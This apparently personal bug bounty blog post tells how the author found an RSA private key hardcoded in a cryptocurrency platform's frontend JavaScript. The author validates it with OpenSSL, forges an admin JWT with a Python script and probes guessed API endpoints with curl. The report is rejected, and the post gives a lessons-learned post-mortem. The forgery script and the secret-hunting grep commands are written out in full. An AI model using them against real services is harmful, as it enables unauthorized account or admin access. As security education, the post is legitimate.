Press enter or click to view image in full size
A Bug Bounty Story About Recon, Excitement, and Harsh Reality
It started like any other Saturday morning. Coffee in hand, terminal open, and a fresh bug bounty target loaded up. What followed was one of the most educational experiences of my security research career — not because I earned a massive bounty, but because I didn’t.
This is that story.
The Target
I was hunting on a major cryptocurrency trading platform’s bug bounty program. The scope was broad — *.target.com, iOS app, Android app — and the rewards were listed as Critical bounty for serious findings. The in-scope vulnerability list included the good stuff: SSRF, Business Logic, RCE, Access Control issues, Sensitive Information Disclosure.
I decided to start with what I call passive JavaScript recon — one of the most underrated techniques in web bug bounty.
Phase 1: JavaScript Recon (Where the Gold Hides)
Most hunters jump straight to fuzzing endpoints or running automated scanners. I’ve learned that the real treasure is often hiding in plain sight — inside the frontend JavaScript bundles that ship directly to your browser.
# Download the main app bundle
curl -s https://static.target.com/web-frontend/client/app.xxxxx.js -o app.js# Search for interesting keywords
grep -iE 'private_key|secret|password|api_key|token' app.jsAnd then it happened.
TRACK_PRIVATE_KEY: "MIICdQIBADANBgkqhkiG9w0BAQEFAA..."My coffee went cold. I was looking at what appeared to be a complete RSA private key hardcoded inside a production JavaScript file — publicly accessible to anyone who visited the website.
My heart was racing.
Phase 2: Validation — Is This Real?
First rule of bug bounty: don’t get excited until you validate. I extracted the key and ran it through OpenSSL immediately.
# Save and validate the key
cat > extracted.key << 'EOF'
-----BEGIN RSA PRIVATE KEY-----
MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGBAIk9VvZx...
-----END RSA PRIVATE KEY-----
EOFopenssl rsa -in extracted.key -check -nooutOutput:
RSA key okThen I checked the key specifications:
openssl rsa -in extracted.key -text -nooutPrivate-Key: (1024 bit, 2 primes)
modulus: 00:89:3d:56:f6:71:af...
publicExponent: 65537 (0x10001)Confirmed. A real, valid, 1024-bit RSA private key. Sitting in a public JavaScript file. In production.
At this point, most hunters would immediately report “exposed private key.” I decided to go further.
Phase 3: Can I Forge JWT Tokens With This?
The key was named TRACK_PRIVATE_KEY in the config object alongside other interesting variables:
{
baseHost: "https://api.target.com",
domain_env: "production",
TRACK_PRIVATE_KEY: "MIICdQIBADA...",
baseMainUrl: "http://internal-gateway.default.svc.cluster.local",
SENTRY_DSN: "https://[email protected]/3"
}Wait — baseMainUrl pointing to an internal Kubernetes cluster address? That's a whole separate finding. But the private key was the crown jewel.
I wrote a Python script to attempt JWT forgery:
import jwt
import time
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backendPRIVATE_KEY_STR = """-----BEGIN RSA PRIVATE KEY-----
MIICdQIBADA...
-----END RSA PRIVATE KEY-----"""
PRIVATE_KEY = serialization.load_pem_private_key(
PRIVATE_KEY_STR.encode(),
password=None,
backend=default_backend()
)
# Extract public key for verification
PUBLIC_KEY = PRIVATE_KEY.public_key().public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
# Forge an admin JWT
payload = {
"user_id": 1,
"email": "[email protected]",
"role": "admin",
"permissions": ["*"],
"iat": int(time.time()),
"exp": int(time.time()) + 86400,
}
admin_token = jwt.encode(payload, PRIVATE_KEY, algorithm="RS256")
print(f"[+] Admin Token: {admin_token}")
# Self-verify with extracted public key
decoded = jwt.decode(admin_token, PUBLIC_KEY, algorithms=["RS256"])
print(f"[+] Verified: {decoded}")
Output:
[+] Admin Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Verified: {
"user_id": 1,
"email": "[email protected]",
"role": "admin",
"permissions": ["*"],
...
}The JWT was cryptographically valid. I had successfully forged an admin token using their own private key.
This is the moment I made my first mistake.
Phase 4: Where I Went Wrong
I was so excited that I skipped the most critical step: finding real API endpoints before testing.
I guessed endpoints:
ADMIN_TOKEN="eyJhbGciOiJSUzI1NiI..."curl -s -H "Authorization: Bearer ${ADMIN_TOKEN}" \
https://api.target.com/v1/admin/users
# Response:
# {"code": -35, "msg": "route not found", "success": false}
curl -s -H "Authorization: Bearer ${ADMIN_TOKEN}" \
https://api.target.com/v1/wallet/balance
# Response:
# {"code": -35, "msg": "route not found", "success": false}
Every. Single. Endpoint. Route not found.
But here’s the critical error I made: I saw HTTP 200 on every response and told myself “the API accepted my forged token!”
It did not.
HTTP 200 + “route not found” = The path doesn’t exist.
HTTP 200 + Real data = The token was accepted and processed.
These are fundamentally different things, and I confused them.
Phase 5: The Report — Another Mistake
I wrote a detailed, structured bug report. Very detailed. Perfectly formatted. Every CVSS score, every CWE reference, every exploitation scenario.
Get Hacker MD’s stories in your inbox
Join Medium for free to get updates from this writer.
I submitted it. The program initially said:
“The Private Key is not used for user authentication; it is simply a key used by our logging platform to verify the validity of log entries.”
I pushed back. I escalated to the bug bounty platform. Their response:
“Your report was marked as N/A because it’s fully AI generated which is prohibited by rules. All reports this big without any reasons are not valid. Plus you didn’t provide any valid evidence showing breaking of CIA triad. All impact is theoretical, all recommendations lay under best practices.”
That stung. But they were right.
The Post-Mortem: What Actually Happened
Let me break down what I got wrong:
Mistake #1: Guessing Endpoints Instead of Discovering Them
What I did:
Guessed: /v1/admin/users → route not found
Guessed: /v1/wallet/balance → route not found
Guessed: /v1/spot/orders → route not found What I should have done:
1. Open website in browser
2. DevTools → Network tab → Filter XHR
3. Login, trade, deposit
4. Capture ACTUAL API calls:
POST /spot/v1/submit_order
GET /account/v1/wallet/detail
GET /contract/private/assets-detail
5. Test forged tokens on THOSE endpoints
Mistake #2: Misreading HTTP Responses
HTTP 200 + {"msg": "route not found"}
= Server is running, but this path doesn't exist
≠ Token acceptedHTTP 200 + {"user_id": 1, "email": "...", "balance": ...}
= Token processed AND accepted
= Real exploitation
Mistake #3: Reporting Theory, Not Proof
Bug bounty programs don’t want potential impact. They want demonstrated impact:
"An attacker COULD forge admin tokens"
"This MIGHT allow fund theft"
"Potentially leads to account takeover" [Screenshot: Admin panel accessed with forged token]
[Screenshot: Wallet balance of user X visible]
[Video: End-to-end exploit in 2 minutes]
Mistake #4: Over-Engineering the Report
My report was thousands of words. CVSS matrices, exploitation chains, regulatory implications, remediation roadmaps.
Bug bounty triagers want:
- 500 words max
- Steps to reproduce (numbered)
- Screenshots showing actual exploitation
- One-line impact statement
Not a PhD thesis.
What This Finding Actually Was
After the dust settled, here’s my honest assessment:
The private key was a real security concern — but for a different reason than I thought. It was used for signing tracking/logging tokens, not authentication tokens. The company confirmed this, and my testing confirmed it too (no working endpoints, no real API access).
What it was:
- CWE-798: Use of Hard-Coded Credentials
- Informational → Low severity
- Best practice violation (private keys don’t belong in client-side code)
- Key should be rotated since it’s now public knowledge
What it wasn’t:
- Authentication bypass
- Account takeover vector
- Fund theft enabler
The company was telling the truth. I just didn’t believe them — and wasted time arguing instead of testing properly.
The Real Lessons
1. Always Capture Real Traffic Before Testing
Never guess API endpoints. Open the website, perform real actions, intercept actual traffic. Then test your payload on paths you know exist.
# Use mitmproxy for traffic capture
mitmproxy -p 8080# Or Burp Suite
# Configure browser proxy → Perform actions → Check intercept
2. Understand What “HTTP 200” Actually Means
200 + real data → Successful exploitation
200 + error msg → Route exists, something failed
200 + not found → Route doesn't exist (unusual but happens)
401 → Route exists, token rejected
403 → Route exists, insufficient permissions
404 → Route doesn't exist (standard)3. Prove Impact First, Report Second
Before submitting anything, ask yourself: “Can I show a screenshot of this working?” If the answer is no, don’t submit.
4. Keep Reports Human and Concise
Write like you’re explaining to a friend who’s a developer, not writing a security textbook. Short, clear, with screenshots.
5. Accept Correct Rejections Gracefully
Sometimes programs are right when they say N/A. Accept it, learn from it, and move on.
The Uncomfortable Truth About Bug Bounty
Not every finding leads to a bounty. Not every private key is exploitable. Not every HTTP 200 means success.
The best bug bounty hunters I know share one trait: they prove everything before reporting anything. They capture real traffic. They demonstrate actual data access. They send a 10-line report with 3 screenshots instead of a 3000-word essay with zero proof.
I learned more from this rejected report than from any bounty I’ve received.
Final Checklist Before You Ever Report Again
Before submitting any bug:□ Captured real API traffic (not guesses)
□ Tested on actual working endpoints
□ Got real data back (not error messages)
□ Screenshot proof captured
□ CIA triad impact demonstrated:
Confidentiality → Data accessed
Integrity → Data modified
Availability → Service disrupted
□ Report is under 1000 words
□ Steps are reproducible by anyone
□ Impact is shown, not theorized
If you can’t check all these boxes — keep testing.
Conclusion
Finding a hardcoded private key in production JavaScript is exciting. Validating it with OpenSSL, successfully forging JWT tokens, decoding them perfectly — it feels like a critical finding.
But bug bounty is about demonstrated impact, not theoretical potential.
The endpoint has to exist. The token has to be accepted. The data has to come back. The screenshot has to show the exploitation.
Without that chain of proof, you have an interesting technical observation — not a bounty-worthy vulnerability.
This experience taught me to be more methodical, more patient, and more skeptical of my own excitement. The next time I find something that makes my heart race, I’ll take a breath, find the real endpoints, test them properly, and only then pick up the pen to write a report.
That’s how elite hunters operate.
Thanks for reading. If you’ve had similar experiences — findings that taught you more through rejection than acceptance — I’d love to hear your story in the comments.
Follow me for more bug bounty writeups, methodology deep-dives, and the occasional humbling failure that turned into a valuable lesson.
#Cryptography #PenetrationTesting #WebSecurity #JWT #BugBounty #SecurityResearch